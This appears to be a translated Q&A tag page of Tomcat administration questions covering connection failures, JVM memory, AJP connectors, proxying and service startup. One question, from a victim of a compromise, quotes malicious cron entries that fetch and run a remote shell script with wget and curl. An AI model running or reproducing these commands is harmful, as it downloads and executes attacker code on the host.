Questions tagged «tomcat»

Apache Tomcat是在Apache License版本2下发布的Java Servlet和JavaServer Pages技术的开源软件实现。Tomcat项目始于Sun Microsystems,并于1999年由Sun捐赠给Apache Software Foundation。

2
即使正在运行,也无法连接到Tomcat
我试图在Debian 5和Debian 6上以2种不同的方式(从源代码和使用apt-get)安装Apache Tomcat 5.5和6- 没有成功。服务器正在运行,但是我无法连接到它。 netstat -a: Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:ssh *:* LISTEN tcp 0 0 `hostname`:ssh my_home_ip:4318 ESTABLISHED tcp 0 52 `hostname`:ssh my_home_ip:remctl ESTABLISHED tcp6 0 0 [::]:8009 [::]:* LISTEN tcp6 0 0 [::]:8180 …
9 tomcat 

5
Tomcat 6.0服务无法启动:java / lang / NoClassDefFoundError
我在Windows服务器上安装了Tomcat,但无法启动。我启动该服务,看到进度条,但是失败。 我安装了Java Runtime Environment版本6并创建了JRE_HOME Environment变量。(C:\ Program Files \ Java \ jre6) 以下是jakarta_serviceYYYMMDD.log条目: [2010-04-08 14:22:42] [info] Commons Daemon procrun (1.0.2.0) started [2010-04-08 14:22:42] [info] Running Service... [2010-04-08 14:22:42] [info] Starting service... [2010-04-08 14:22:42] [info] Error occurred during initialization of VM [2010-04-08 14:22:42] [info] java/lang/NoClassDefFoundError [2010-04-08 14:22:42] [info] : java/lang/Object 我该如何解决这个问题?

4
JVM内存消耗
我正在尝试在内存不足的系统(150-256Mb)上运行tomcat。即使我使用-Xmx64m(无论如何都应该是默认值)启动JVM,该过程仍会立即占用200Mb +。 我想知道为什么JVM本身需要这么多的内存,或者是否有一种调整方法?其他JVM在内存消耗方面是否比sun JVM更好-并且它们可以与tomcat一起使用吗?
9 memory  tomcat  java 

3
Tomcat AJP-Connectors如何工作?
我想使用连接器通过Apache网络服务器访问Tomcat。我坚持使用文档:http : //tomcat.apache.org/connectors-doc/generic_howto/quick.html 我只对其进行了少许修改,以匹配Debian-(Squeeze)-System上使用的目录结构。 因此,我将以下内容添加到/etc/apache2/httpd.conf中: # Load mod_jk module # Update this path to match your modules location #LoadModule jk_module libexec/mod_jk.so # Declare the module for <IfModule directive> (remove this line on Apache 2.x) #AddModule mod_jk.c # Where to find workers.properties # Update this path to match your conf directory …

3
通过未知来源的cron对Apache服务器进行Shell脚本攻击
在Apache tomcat服务器上运行项目大战时,我发现该服务器已受到威胁。 在对未知分子进行战争时,cron像这样 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 下载的文件logo.jpg带有正在下载恶意软件的外壳程序脚本。 我在下面的这个网站上发现了类似的问题 https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/ 和 /security/160068/kworker34-malware-on-linux 我无法在整个代码中找到此cron调度程序的来源。 我想知道有人遇到过这个问题吗?以及如何在代码中查找调度程序的来源。 注意: 我正在研究JAVA(Struts 2)+ jsp + javascript + jquery Web项目。 每次我使用项目的war文件启动tomcat时,都会运行此调度程序,但是我无法在代码中找到任何用于调度程序的调度程序。 我在日志文件中找到了以下行 [INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - …

1
Tomcat:是否可以在应用程序部署期间排除jar?
默认情况下,Tomcat阻止Web应用程序加载作为Tomcat发行版一部分的多个.jar(例如servlet和JSP API)-是否可以将其他配置也排除在外? 如果仅靠配置无法完成,Tomcat是否提供任何扩展点来进行资源验证? 我想使用共享日志记录库,并且需要确保错误的应用程序不会破坏配置。 例 这就是我指的(从Tomcat启动日志中): Oct 1, 2011 5:53:40 AM org.apache.catalina.loader.WebappClassLoader validateJarFile INFO: validateJarFile(D:\tomcat\myapp\WEB-INF\lib\servlet-api.jar) - jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class
8 java  tomcat  servlets 


1
ProxyPass整个域到Tomcat,包括root
我已经将VirtualHost example.com配置为将所有请求代理到Tomcat服务器 ProxyPass / http://localhost:8088/app ProxyPassReverse / http://localhost:8088/app 这工作得很好了像URL example.com/page,但对于example.com和example.com/我得到这个重定向响应,这显然会导致什么。 HTTP/1.1 302 Moved Temporarily Date: Wed, 06 Jul 2011 21:13:37 GMT Server: Apache-Coyote/1.1 <-- the redirect comes from tomcat Location: http://example.com/app/ <-- nonsense ... 我该如何解决?最好在Apache配置中。 我正在使用Apache 2和Tomcat 7

5
如何在配置文件中配置TomCat Java选项?
我正在尝试为正在部署的第三方应用程序配置传递到TomCat的Java选项。该应用程序提供的说明如下: 从Windows菜单中的开始>所有程序> Apache Tomcat> Tomcat配置中打开Tomcat配置工具。 单击配置,然后选择Java选项卡。 在“ Java选项”字段的底部,输入以下内容: -Dexample.license.directory="C:\Program Files\example" 停止并重新启动应用程序服务器。 但是,我需要以编程方式进行此操作,因此我想知道可以在这些选项中设置哪些配置文件。使用GUI将应用程序部署到其他开发人员的环境是不切实际的。 (如果相关,我正在使用Tomcat 6.0 ...)

1
Tomcat Solr超时
(Plesk 10.4 centos 5.8 linux apache2服务器,端口8080和Apache Solr上有Tomcat5) 我在请求domain.com:8080或www.domain.com:8080或ip.ad.dr.ess:8080时收到“连接已超时” 我能找到原因的所有理由似乎并非如此: Plesk认为Tomcat运行正常,并将其列为活动服务。 防火墙当前在端口8080上具有接受所有规则。 在catalina的tomcat日志(/ var / log / tomcat5)中没有任何相关的内容-只是上次启动tomcat的一些内容。所有失败的请求都没有记录。 netstat -lnp | grep 8080给出以下内容,我相信这 意味着Tomcat正在侦听来自任何IP和任何端口的所有IP地址上对端口8080的请求(如果我错了,请更正我): : tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 4018/java 这涵盖了我可以找到的所有导致超时的原因-因此我必须缺少一些基本知识。 看来Tomcat正在运行,正在侦听正确的端口,正在获取适当的IP地址,没有被防火墙阻止,并且在接收到请求后会以日志中记录的方式出现故障(因此,我相信它可以做到)内存不足之类的东西)。 我完全不知道如何继续调试。我一定忽略了一些显而易见的事情。有人可以帮忙吗?
2 centos5  solr  tomcat 

3
一台具有两个IP的机器上的Tomcat和Apache
我有一个与Apache2一起使用的简单静态网站(foo.com)。静态网站上有一个链接,可链接到使用tomcat服务的应用程序。为此,链接仅指向foo.com:8080/app 最终目标是避免拥有端口号。我还想避免使用mod_proxy或mod_jk,因为这两个内容(静态页面和应用程序)是完全不相关的,因此我认为这会太过分了。常见的用例是静态页面-> app [永远不会回来] 这是我考虑过的一些选项: 在另一台计算机上运行该应用程序,然后将其IP映射到一个子域(s1.foo.com)。然后在这台机器上,使用iptables将80端口转发到8080,以便s1.foo.com/app可以正常工作。 获取一台服务器的其他IP地址。有一个指向该IP地址的子域,然后使用iptables将IP:8080转发到IP:80。 我的问题是1)这些明智吗?2)我应该遵循哪些步骤,以免弄乱规则链?3)还有更好的选择吗? 谢谢,

3
Tomcat服务启动问题
我已经成功安装了tomcat作为服务。当我从“控制面板”->“管理工具”->“服务”开始时,它会拖曳这样的错误, 本地计算机上的Apache Tomcat 4.1服务已启动,然后停止。如果某些服务没有任何工作,它们会自动停止,例如,性能日志和警报服务。 Wat是错误的吗?
tomcat 

1
带有安全管理器的Tomcat启动-CentOS
我之前已经看过这个主题,并且给出的解决方案有效。 但是,它不符合我的需要,因为它通过设置以下catalina.policy来授予对每个目录的读取访问权限: grant { permission java.security.AllPermission; }; 因此,我的问题是:有一种方法可以识别正在请求的文件或资源,但是当我取消此授权时被拒绝? 以下日志可能会有所帮助,并在删除给定的Grant时显示: java.security.AccessControlException:访问被拒绝(java.security.SecurityPermission getProperty.package.definition)在java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)在java.security.AccessController.checkPermission(AccessController.java:546)在org.apache.catalina.security.SecurityConfig.setSecurityProperty(SecurityConfig.java:117)在java.security.Security.getProperty(Security.java:725)在java.lang.SecurityManager.checkPermission(SecurityManager.java:532)在位于org.apache.catalina.startup.Embedded.setSecurityProtection(Embedded.java:990)的org.apache.catalina.security.SecurityConfig.setPackageDefinition(SecurityConfig.java:106)在org.apache.catalina.startup.Embedded。(Embedded .java:130),位于org.apache.catalina.startup.Embedded(Embedded.java:115)在org.apache.catalina.startup.Catalina。(Catalina.java:58)在sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)在sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)在java.lang.Class.newInstance0(Class.java:355)在java.lang.reflect.Constructor.newInstance(Constructor.java:513)在java.lang.Class.newInstance0(Class.java:355)上reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) org.apache.catalina.startup.Bootstrap.init(Bootstrap.java:225)的.newInstance(Class.java:308)org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:410)的.newInstance(Class.java:308)java.lang.Class.newInstance0上java.lang.reflect.Constructor.newInstance(Constructor.java:513)上的sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)上的NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) (Class.java:355)在org.apache.catalina.startup.Bootstrap.init(Bootstrap.java:225)在java.lang.Class.newInstance(Class.java:308)在org.apache.catalina.startup。 Bootstrap.main(Bootstrap.java:410)java.lang.Class.newInstance0上java.lang.reflect.Constructor.newInstance(Constructor.java:513)上的sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)上的NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) (Class.java:355)在org.apache.catalina.startup.Bootstrap.init(Bootstrap.java:225)在java.lang.Class.newInstance(Class.java:308)在org.apache.catalina.startup Bootstrap.main(Bootstrap.java:410)308),位于org.apache.catalina.startup.Bootstrap.init(Bootstrap.java:225),位于org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:410)308),位于org.apache.catalina.startup.Bootstrap.init(Bootstrap.java:225),位于org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:410) 先感谢您!
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.